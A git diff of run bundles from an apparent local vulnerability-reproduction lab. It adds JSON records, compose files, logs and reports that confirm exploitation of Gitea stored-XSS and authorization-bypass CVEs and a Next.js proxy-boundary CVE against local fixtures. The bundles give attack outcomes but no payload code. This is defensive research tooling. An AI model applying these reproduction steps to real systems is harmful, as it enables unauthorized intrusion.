"/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json" + ], + "baseline_title": "Gitea Stored XSS Fixture", + "proof_title": "Gitea Stored XSS Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:28:13+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2021-28378" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-xss" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:28:17+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:17+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:18+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:18+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:28:19+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:28:19+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2021-28378-20260318012813" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "stored payload rendered inside the browser proof page" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:28:13+00:00", + "finished_at": "2026-03-18T01:28:19+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml new file mode 100644 index 00000000..68c033a7 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml @@ -0,0 +1,26 @@ +services: + app: + image: python:3.12-alpine + networks: + - labnet + ports: + - 18103:3000 + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/authz-bypass/scenario.json + PORT: '3000' + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + working_dir: /workspace + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json new file mode 100644 index 00000000..43938ab3 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json @@ -0,0 +1,68 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "gitea.authz-bypass", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json" + } + ], + "success": true, + "detail": "server-side authorization recheck was bypassed", + "before": { + "status_code": 403, + "ok": false, + "body": { + "ok": false, + "detail": "admin boundary still enforced" + } + }, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "server-side authorization recheck was bypassed", + "case_id": "gitea--CVE-2025-68940" + } + }, + "after": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "server-side authorization recheck was bypassed", + "case_id": "gitea--CVE-2025-68940" + } + }, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "server-side authorization recheck was bypassed", + "case_id": "gitea--CVE-2025-68940", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "gitea--CVE-2025-68940" + }, + { + "event": "attack", + "detail": "server-side authorization recheck was bypassed" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "server-side authorization recheck was bypassed" + } + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json new file mode 100644 index 00000000..8ae40da9 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json @@ -0,0 +1,24 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18103/", + "status_code": 200, + "headers": { + "Server": "BaseHTTP/0.6 Python/3.12.13", + "Date": "Wed, 18 Mar 2026 01:27:11 GMT", + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "1002" + }, + "body_excerpt": "\n\n\n \n \n Gitea Authz Bypass Fixture\n + +

    运行 gitea-gitea--CVE-2025-68940-20260318012708

    +
    +
    漏洞条目
    gitea--CVE-2025-68940
    +
    实证状态
    verified-real
    +
    复现 Profile
    gitea-authz-bypass
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:27:08+00:00select-advisorycompletedgitea--CVE-2025-68940
    2026-03-18T01:27:08+00:00resolve-repro-profilecompletedgitea-authz-bypass
    2026-03-18T01:27:08+00:00doctorcompletedall checks passed
    2026-03-18T01:27:11+00:00provision-compose-environmentready-
    2026-03-18T01:27:11+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:27:11+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:27:11+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:27:11+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:27:11+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:27:12+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:27:12+00:00update-registry-and-reportscompletedgitea-gitea--CVE-2025-68940-20260318012708
    +

    攻击步骤

    + + +
    工具状态输出
    gitea.authz-bypasscompleted/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json
    +

    证据清单

      +
    • compose/compose.yaml
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md new file mode 100644 index 00000000..8a798881 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md @@ -0,0 +1,66 @@ +# 运行 gitea-gitea--CVE-2025-68940-20260318012708 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `gitea--CVE-2025-68940` +- 系统: `gitea` +- Repro Profile: `gitea-authz-bypass` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:27:08+00:00` +- 完成时间: `2026-03-18T01:27:12+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:27:08+00:00` | `select-advisory` | `completed` | gitea--CVE-2025-68940 | +| `2026-03-18T01:27:08+00:00` | `resolve-repro-profile` | `completed` | gitea-authz-bypass | +| `2026-03-18T01:27:08+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:27:11+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:27:11+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:27:11+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:27:11+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:27:11+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:27:11+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:27:12+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:27:12+00:00` | `update-registry-and-reports` | `completed` | gitea-gitea--CVE-2025-68940-20260318012708 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `gitea.authz-bypass` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `0` +- 容器日志: `1` +- 请求日志: `2` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/run.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/run.json new file mode 100644 index 00000000..1662de0a --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/run.json @@ -0,0 +1,145 @@ +{ + "run_id": "gitea-gitea--CVE-2025-68940-20260318012708", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2025-68940", + "repro_profile_id": "gitea-authz-bypass", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.authz-bypass", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:27:08+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2025-68940" + }, + { + "at": "2026-03-18T01:27:08+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-authz-bypass" + }, + { + "at": "2026-03-18T01:27:08+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:27:12+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:27:12+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2025-68940-20260318012708" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side authorization recheck was bypassed" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:27:08+00:00", + "finished_at": "2026-03-18T01:27:12+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html new file mode 100644 index 00000000..e4ece595 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html @@ -0,0 +1,26 @@ + + + + Next.js Proxy Boundary Fixture + + + +
    +

    Next.js Proxy Boundary Fixture

    +

    Middleware trust-boundary fixture with forwarded-header proof.

    +
    Baseline ready
    +

    System: nextjs / Family: proxy-boundary

    + + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png new file mode 100644 index 0000000000000000000000000000000000000000..b8e02c2d8874fce22d0cd23b16e087a6424913c1 GIT binary patch literal 28395 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 z zpuy34PmkU?B1hCieohIkJKl8MM^!kb&xE1iH8(fs54yo%%scS+nyIx5hhLhN*&Yo! zZwTjs_uR}G4wK_C|0=u18yxwm#O{sJ>;Tmq0X-LhGRqe5bG*4?K*+zWAK>z4u1;%) z#&W;;{G*YON;uek;$tW@BMXPd4#S?&Se9 z&1LLE(fES>Y)m(ABtwYrhI8)@Pft`x{hko!(&nKLZEB0>)+j9)Q{A-0o@>1v(mw5g z`6V|&@;%C9>x)?x7m_7ehN;iU@Ijjkrwtp_DgcdiFj6$@2!1vnR7Jw7I-b{ulzT+} zC?~G_ZEzoc_4WSTsZoP%iH7zh+NI-0%xhPbYq|MNbCiW%rD3Vuch0ayzejeO3WMe1 z-j00bm$_m=LUo9!_Rmkx2m8U4cW^?+R!MCGiM3AP4F_w2pXO>n#k!^P-(`Da)_#R5 zIFfHI)7}J1i-u1iG-7f)mOS`a8mE36`oLQVq@);3_9&SAJ&TEu3yqR>EJua_+{JEB z!%)+g=ZDFqm@Fn6EI>cRGXe{{6H!L4i0bZBi{BTXLtb6Lco42d+p5+z+gNVA1ZiE z*LtE$g;jjrgV5>Ps$US{jfS;oBA+8@*pD8aB%^!kh}b*otR~xngE>_ znRIYlzEUE_=$t&SGN}pS*9L7T&@PPOAMJ$Q#0j4R(9^sCpTjApgb4ldz)&M5at87_Fojz8gyR^%lQ z*Ad}tGJCSi(L$vX3Ak;;ac^d%1Irn@JwNS0f`i)p`ZG&$XP;*1_h$IBK50KKoqH*m zDLa0JXqpmXn}IAKAY&UFQnZ}n#NW#OgjGt5UP@^G`brYQ)N#-AHO-d?ijN;hehpuB z&|I&-c7Q^wp!rJAKH|jeY*VyZ0)&a0abHwAZ@?&JVo`5x z(tN#xlYe%(n>Y$=+Kt!^y~sa2gp1LO`Chzv$<`UR2|0V+YP9g}C_AM?MvCh#rVKSOxUVFWF%8>uhLAil@iYKTs2o{plKpL 